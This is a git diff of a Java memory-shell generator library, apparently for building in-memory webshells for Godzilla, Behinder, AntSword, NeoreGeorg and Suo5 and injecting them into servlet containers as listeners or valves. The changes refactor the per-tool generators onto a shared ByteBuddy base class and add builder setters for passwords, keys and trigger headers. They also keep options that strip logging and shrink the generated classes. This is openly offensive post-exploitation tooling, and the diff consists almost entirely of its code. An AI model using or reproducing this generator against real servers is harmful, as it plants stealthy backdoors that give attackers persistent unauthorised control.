@@ -22,4 +23,39 @@ public class GodzillaConfig extends ShellToolConfig {
|
||||
private String headerName = "User-Agent";
|
||||
@Builder.Default
|
||||
private String headerValue = CommonUtil.getRandomString(8);
|
||||
|
||||
public static abstract class GodzillaConfigBuilder<C extends GodzillaConfig, B extends GodzillaConfigBuilder<C, B>>
|
||||
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||
public B pass(final String pass) {
|
||||
if (StringUtils.isNotBlank(pass)) {
|
||||
this.pass$value = pass;
|
||||
pass$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
|
||||
public B key(final String key) {
|
||||
if (StringUtils.isNotBlank(key)) {
|
||||
this.key$value = key;
|
||||
key$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
|
||||
public B headerName(final String headerName) {
|
||||
if (StringUtils.isNotBlank(headerName)) {
|
||||
this.headerName$value = headerName;
|
||||
headerName$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
|
||||
public B headerValue(final String headerValue) {
|
||||
if (StringUtils.isNotBlank(headerValue)) {
|
||||
this.headerValue$value = headerValue;
|
||||
headerValue$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import lombok.*;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -18,4 +19,24 @@ public class NeoreGeorgConfig extends ShellToolConfig {
|
||||
private String headerName = "Referer";
|
||||
@Builder.Default
|
||||
private String headerValue = CommonUtil.getRandomString(8);
|
||||
|
||||
public static abstract class NeoreGeorgConfigBuilder<C extends NeoreGeorgConfig, B extends NeoreGeorgConfig.NeoreGeorgConfigBuilder<C, B>>
|
||||
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||
|
||||
public B headerName(final String headerName) {
|
||||
if (StringUtils.isNotBlank(headerName)) {
|
||||
this.headerName$value = headerName;
|
||||
headerName$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
|
||||
public B headerValue(final String headerValue) {
|
||||
if (StringUtils.isNotBlank(headerValue)) {
|
||||
this.headerValue$value = headerValue;
|
||||
headerValue$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,13 +1,11 @@
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -21,17 +19,23 @@ public class ShellConfig {
|
||||
/**
|
||||
* 目标服务类型
|
||||
*/
|
||||
Server server;
|
||||
private String server;
|
||||
|
||||
/**
|
||||
* 目标服务版本
|
||||
*/
|
||||
@Builder.Default
|
||||
private String serverVersion = "unknown";
|
||||
|
||||
/**
|
||||
* 内存马功能
|
||||
*/
|
||||
ShellTool shellTool;
|
||||
private String shellTool;
|
||||
|
||||
/**
|
||||
* 内存马类型
|
||||
*/
|
||||
String shellType;
|
||||
private String shellType;
|
||||
|
||||
/**
|
||||
* 生成类的目标 JRE 版本
|
||||
@@ -63,7 +67,7 @@ public class ShellConfig {
|
||||
|
||||
|
||||
public boolean isJakarta() {
|
||||
return StringUtils.containsIgnoreCase(shellType, "jakarta");
|
||||
return shellType.startsWith(ShellType.JAKARTA);
|
||||
}
|
||||
|
||||
public boolean needByPassJavaModule() {
|
||||
|
||||
@@ -10,7 +10,7 @@ import lombok.experimental.SuperBuilder;
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
@Data
|
||||
@SuperBuilder
|
||||
@SuperBuilder(toBuilder = true)
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
public class ShellToolConfig {
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import lombok.*;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -18,4 +19,24 @@ public class Suo5Config extends ShellToolConfig {
|
||||
private String headerName = "User-Agent";
|
||||
@Builder.Default
|
||||
private String headerValue = CommonUtil.getRandomString(8);
|
||||
|
||||
public static abstract class Suo5ConfigBuilder<C extends Suo5Config, B extends Suo5Config.Suo5ConfigBuilder<C, B>>
|
||||
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||
|
||||
public B headerName(final String headerName) {
|
||||
if (StringUtils.isNotBlank(headerName)) {
|
||||
this.headerName$value = headerName;
|
||||
headerName$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
|
||||
public B headerValue(final String headerValue) {
|
||||
if (StringUtils.isNotBlank(headerValue)) {
|
||||
this.headerValue$value = headerValue;
|
||||
headerValue$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
}
|
||||
}
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.ShellGenerator;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/5/27
|
||||
*/
|
||||
public abstract class ASMShellGenerator<T extends ShellToolConfig> implements ShellGenerator {
|
||||
protected final ShellConfig shellConfig;
|
||||
protected final T shellToolConfig;
|
||||
|
||||
protected ASMShellGenerator(ShellConfig shellConfig, T shellToolConfig) {
|
||||
this.shellConfig = shellConfig;
|
||||
this.shellToolConfig = shellToolConfig;
|
||||
}
|
||||
}
|
||||
+10
-57
@@ -1,18 +1,9 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.AntSwordConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
import java.util.HashMap;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
@@ -20,55 +11,17 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
* @author ReaJason
|
||||
* @since 2025/02/18
|
||||
*/
|
||||
public class AntSwordGenerator {
|
||||
private final ShellConfig shellConfig;
|
||||
private final AntSwordConfig antSwordConfig;
|
||||
|
||||
public AntSwordGenerator(ShellConfig shellConfig, AntSwordConfig antSwordConfig) {
|
||||
this.shellConfig = shellConfig;
|
||||
this.antSwordConfig = antSwordConfig;
|
||||
public class AntSwordGenerator extends ByteBuddyShellGenerator<AntSwordConfig> {
|
||||
public AntSwordGenerator(ShellConfig shellConfig, AntSwordConfig shellToolConfig) {
|
||||
super(shellConfig, shellToolConfig);
|
||||
}
|
||||
|
||||
public DynamicType.Builder<?> getBuilder() {
|
||||
if (antSwordConfig.getShellClass() == null) {
|
||||
throw new IllegalArgumentException("antSwordConfig.getClazz() == null");
|
||||
}
|
||||
if (StringUtils.isBlank(antSwordConfig.getPass())) {
|
||||
throw new IllegalArgumentException("antSwordConfig.getPass().isBlank()");
|
||||
}
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(antSwordConfig.getShellClass())
|
||||
.name(antSwordConfig.getShellClassName())
|
||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||
|
||||
if (shellConfig.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
|
||||
if (shellConfig.isDebugOff()) {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
|
||||
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||
builder = builder.visit(
|
||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
||||
put("pass", antSwordConfig.getPass());
|
||||
put("headerName", antSwordConfig.getHeaderName());
|
||||
put("headerValue", antSwordConfig.getHeaderValue());
|
||||
}})
|
||||
);
|
||||
} else {
|
||||
builder = builder.field(named("pass")).value(antSwordConfig.getPass())
|
||||
.field(named("headerName")).value(antSwordConfig.getHeaderName())
|
||||
.field(named("headerValue")).value(antSwordConfig.getHeaderValue());
|
||||
}
|
||||
return builder;
|
||||
}
|
||||
|
||||
public byte[] getBytes() {
|
||||
DynamicType.Builder<?> builder = getBuilder();
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
||||
}
|
||||
@Override
|
||||
protected DynamicType.Builder<?> getBuilder() {
|
||||
return new ByteBuddy()
|
||||
.redefine(shellToolConfig.getShellClass())
|
||||
.field(named("pass")).value(shellToolConfig.getPass())
|
||||
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||
}
|
||||
}
|
||||
|
||||
+11
-59
@@ -1,19 +1,10 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.BehinderConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.utils.DigestUtils;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
import java.util.HashMap;
|
||||
import org.apache.commons.codec.digest.DigestUtils;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
@@ -21,57 +12,18 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
public class BehinderGenerator {
|
||||
private final ShellConfig shellConfig;
|
||||
private final BehinderConfig behinderConfig;
|
||||
|
||||
public BehinderGenerator(ShellConfig shellConfig, BehinderConfig behinderConfig) {
|
||||
this.shellConfig = shellConfig;
|
||||
this.behinderConfig = behinderConfig;
|
||||
public class BehinderGenerator extends ByteBuddyShellGenerator<BehinderConfig> {
|
||||
public BehinderGenerator(ShellConfig shellConfig, BehinderConfig shellToolConfig) {
|
||||
super(shellConfig, shellToolConfig);
|
||||
}
|
||||
|
||||
@Override
|
||||
public DynamicType.Builder<?> getBuilder() {
|
||||
if (behinderConfig.getShellClass() == null) {
|
||||
throw new IllegalArgumentException("behinderConfig.getClazz() == null");
|
||||
}
|
||||
if (StringUtils.isBlank(behinderConfig.getPass())) {
|
||||
throw new IllegalArgumentException("behinderConfig.getPass().isBlank()");
|
||||
}
|
||||
String md5Key = DigestUtils.md5Hex(behinderConfig.getPass()).substring(0, 16);
|
||||
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(behinderConfig.getShellClass())
|
||||
.name(behinderConfig.getShellClassName())
|
||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||
|
||||
if (shellConfig.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
|
||||
if (shellConfig.isDebugOff()) {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
|
||||
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||
builder = builder.visit(
|
||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
||||
put("pass", md5Key);
|
||||
put("headerName", behinderConfig.getHeaderName());
|
||||
put("headerValue", behinderConfig.getHeaderValue());
|
||||
}})
|
||||
);
|
||||
} else {
|
||||
builder = builder.field(named("pass")).value(md5Key)
|
||||
.field(named("headerName")).value(behinderConfig.getHeaderName())
|
||||
.field(named("headerValue")).value(behinderConfig.getHeaderValue());
|
||||
}
|
||||
return builder;
|
||||
}
|
||||
|
||||
public byte[] getBytes() {
|
||||
DynamicType.Builder<?> builder = getBuilder();
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
||||
}
|
||||
String md5Key = DigestUtils.md5Hex(shellToolConfig.getPass()).substring(0, 16);
|
||||
return new ByteBuddy()
|
||||
.redefine(shellToolConfig.getShellClass())
|
||||
.field(named("pass")).value(md5Key)
|
||||
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||
}
|
||||
}
|
||||
|
||||
+63
@@ -0,0 +1,63 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.ShellGenerator;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.ServerFactory;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/5/27
|
||||
*/
|
||||
public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> implements ShellGenerator {
|
||||
protected final ShellConfig shellConfig;
|
||||
protected final T shellToolConfig;
|
||||
|
||||
protected ByteBuddyShellGenerator(ShellConfig shellConfig, T shellToolConfig) {
|
||||
this.shellConfig = shellConfig;
|
||||
this.shellToolConfig = shellToolConfig;
|
||||
}
|
||||
|
||||
protected abstract DynamicType.Builder<?> getBuilder();
|
||||
|
||||
@Override
|
||||
public byte[] getBytes() {
|
||||
Class<?> shellClass = shellToolConfig.getShellClass();
|
||||
String shellClassName = shellToolConfig.getShellClassName();
|
||||
DynamicType.Builder<?> builder = getBuilder();
|
||||
|
||||
String shellType = shellConfig.getShellType();
|
||||
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
|
||||
|
||||
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
|
||||
builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellClass, shellClassName);
|
||||
}
|
||||
|
||||
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
|
||||
builder = ValveGenerator.build(builder, server, shellConfig.getServerVersion());
|
||||
}
|
||||
|
||||
if (shellConfig.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
|
||||
if (shellConfig.isDebugOff()) {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
|
||||
builder = builder
|
||||
.name(shellClassName)
|
||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||
|
||||
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
||||
return ClassBytesShrink.shrink(unloaded.getBytes(), shellConfig.isShrink());
|
||||
}
|
||||
}
|
||||
}
|
||||
+21
-19
@@ -1,10 +1,13 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||
import com.reajason.javaweb.memshell.config.CustomConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.ClassFileLocator;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.jar.asm.ClassReader;
|
||||
import net.bytebuddy.pool.TypePool;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
@@ -12,25 +15,24 @@ import java.util.Base64;
|
||||
* @author ReaJason
|
||||
* @since 2025/3/18
|
||||
*/
|
||||
public class CustomShellGenerator {
|
||||
|
||||
private final ShellConfig shellConfig;
|
||||
private final CustomConfig customConfig;
|
||||
public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig> {
|
||||
|
||||
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
|
||||
this.shellConfig = shellConfig;
|
||||
this.customConfig = customConfig;
|
||||
super(shellConfig, customConfig);
|
||||
}
|
||||
|
||||
public byte[] getBytes() {
|
||||
String shellClassBase64 = customConfig.getShellClassBase64();
|
||||
|
||||
if (StringUtils.isBlank(shellClassBase64)) {
|
||||
throw new IllegalArgumentException("Custom shell class is empty");
|
||||
}
|
||||
|
||||
byte[] bytes = ClassRenameUtils.renameClass(Base64.getDecoder().decode(shellClassBase64), customConfig.getShellClassName());
|
||||
|
||||
return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
|
||||
@Override
|
||||
protected DynamicType.Builder<?> getBuilder() {
|
||||
String shellClassBase64 = shellToolConfig.getShellClassBase64();
|
||||
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
|
||||
ClassReader classReader = new ClassReader(classBytes);
|
||||
String className = classReader.getClassName().replace('/', '.');
|
||||
ClassFileLocator classFileLocator = ClassFileLocator.Simple.of(className, classBytes);
|
||||
TypeDescription typeDescription = new TypePool.Default(
|
||||
new TypePool.CacheProvider.Simple(), classFileLocator,
|
||||
TypePool.Default.ReaderMode.FAST, TypePool.Default.ofSystemLoader()
|
||||
).describe(className).resolve();
|
||||
return new ByteBuddy()
|
||||
.redefine(typeDescription, classFileLocator);
|
||||
}
|
||||
}
|
||||
|
||||
+13
-62
@@ -1,19 +1,10 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.utils.DigestUtils;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
import java.util.HashMap;
|
||||
import org.apache.commons.codec.digest.DigestUtils;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
@@ -21,62 +12,22 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
* @author ReaJason
|
||||
* @since 2024/11/23
|
||||
*/
|
||||
public class GodzillaGenerator {
|
||||
private final ShellConfig shellConfig;
|
||||
private final GodzillaConfig godzillaConfig;
|
||||
public class GodzillaGenerator extends ByteBuddyShellGenerator<GodzillaConfig> {
|
||||
|
||||
public GodzillaGenerator(ShellConfig shellConfig, GodzillaConfig godzillaConfig) {
|
||||
this.shellConfig = shellConfig;
|
||||
this.godzillaConfig = godzillaConfig;
|
||||
super(shellConfig, godzillaConfig);
|
||||
}
|
||||
|
||||
@Override
|
||||
public DynamicType.Builder<?> getBuilder() {
|
||||
if (godzillaConfig.getShellClass() == null) {
|
||||
throw new IllegalArgumentException("godzillaConfig.getClazz() == null");
|
||||
}
|
||||
if (StringUtils.isBlank(godzillaConfig.getKey()) || StringUtils.isBlank(godzillaConfig.getPass())) {
|
||||
throw new IllegalArgumentException("godzillaConfig.getKey().isBlank() || godzillaConfig.getPass().isBlank()");
|
||||
}
|
||||
String md5Key = DigestUtils.md5Hex(godzillaConfig.getKey()).substring(0, 16);
|
||||
String md5 = DigestUtils.md5Hex(godzillaConfig.getPass() + md5Key).toUpperCase();
|
||||
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(godzillaConfig.getShellClass())
|
||||
.name(godzillaConfig.getShellClassName())
|
||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||
|
||||
if (shellConfig.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
|
||||
if (shellConfig.isDebugOff()) {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
|
||||
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||
builder = builder.visit(
|
||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
||||
put("pass", godzillaConfig.getPass());
|
||||
put("key", md5Key);
|
||||
put("md5", md5);
|
||||
put("headerName", godzillaConfig.getHeaderName());
|
||||
put("headerValue", godzillaConfig.getHeaderValue());
|
||||
}})
|
||||
);
|
||||
} else {
|
||||
builder = builder.field(named("pass")).value(godzillaConfig.getPass())
|
||||
.field(named("key")).value(md5Key)
|
||||
.field(named("md5")).value(md5)
|
||||
.field(named("headerName")).value(godzillaConfig.getHeaderName())
|
||||
.field(named("headerValue")).value(godzillaConfig.getHeaderValue());
|
||||
}
|
||||
return builder;
|
||||
}
|
||||
|
||||
public byte[] getBytes() {
|
||||
DynamicType.Builder<?> builder = getBuilder();
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
||||
}
|
||||
String md5Key = DigestUtils.md5Hex(shellToolConfig.getKey()).substring(0, 16);
|
||||
String md5 = DigestUtils.md5Hex(shellToolConfig.getPass() + md5Key).toUpperCase();
|
||||
return new ByteBuddy()
|
||||
.redefine(shellToolConfig.getShellClass())
|
||||
.field(named("pass")).value(shellToolConfig.getPass())
|
||||
.field(named("key")).value(md5Key)
|
||||
.field(named("md5")).value(md5)
|
||||
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||
}
|
||||
}
|
||||
+3
-2
@@ -5,7 +5,7 @@ import com.reajason.javaweb.asm.InnerClassDiscovery;
|
||||
import com.reajason.javaweb.buddy.*;
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
@@ -14,12 +14,13 @@ import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.dynamic.scaffold.TypeValidation;
|
||||
import net.bytebuddy.implementation.FixedValue;
|
||||
import net.bytebuddy.pool.TypePool;
|
||||
import java.util.Base64;;
|
||||
|
||||
import java.util.*;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
|
||||
+16
-32
@@ -1,20 +1,16 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||
import net.bytebuddy.description.modifier.Ownership;
|
||||
import net.bytebuddy.description.modifier.Visibility;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
|
||||
import net.bytebuddy.implementation.FixedValue;
|
||||
|
||||
import java.util.Collections;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -22,37 +18,25 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
*/
|
||||
public class ListenerGenerator {
|
||||
|
||||
public static Class<?> generateListenerShellClass(Class<?> implInterceptor, Class<?> targetClass) {
|
||||
String newClassName = targetClass.getName() + CommonUtil.getRandomString(5);
|
||||
boolean needAddGetFieldValue = false;
|
||||
try {
|
||||
targetClass.getMethod("getFieldValue", Object.class, String.class);
|
||||
} catch (NoSuchMethodException e) {
|
||||
needAddGetFieldValue = true;
|
||||
}
|
||||
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(targetClass)
|
||||
.name(newClassName).visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
||||
.method(named("getResponseFromRequest"),
|
||||
new MethodCallReplaceVisitorWrapper(
|
||||
newClassName,
|
||||
Collections.singleton(ShellCommonUtil.class.getName()))
|
||||
)
|
||||
)
|
||||
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor, Class<?> targetClass, String newClassName) {
|
||||
builder = builder
|
||||
.visit(MethodCallReplaceVisitorWrapper.newInstance(
|
||||
"getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
|
||||
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
|
||||
|
||||
if (needAddGetFieldValue) {
|
||||
boolean methodNotFound = TypeDescription.ForLoadedType.of(targetClass)
|
||||
.getDeclaredMethods()
|
||||
.filter(named("getFieldValue")
|
||||
.and(takesArguments(Object.class, String.class)))
|
||||
.isEmpty();
|
||||
|
||||
if (methodNotFound) {
|
||||
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||
.withParameters(Object.class, String.class)
|
||||
.throwing(Exception.class)
|
||||
.intercept(FixedValue.nullValue())
|
||||
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
|
||||
}
|
||||
|
||||
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
||||
return unloaded
|
||||
.load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT)
|
||||
.getLoaded();
|
||||
}
|
||||
return builder;
|
||||
}
|
||||
}
|
||||
|
||||
+8
-48
@@ -1,66 +1,26 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.NeoreGeorgConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
|
||||
import java.util.HashMap;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/12
|
||||
*/
|
||||
public class NeoreGeorgGenerator {
|
||||
private final ShellConfig shellConfig;
|
||||
private final NeoreGeorgConfig neoreGeorgConfig;
|
||||
|
||||
public class NeoreGeorgGenerator extends ByteBuddyShellGenerator<NeoreGeorgConfig> {
|
||||
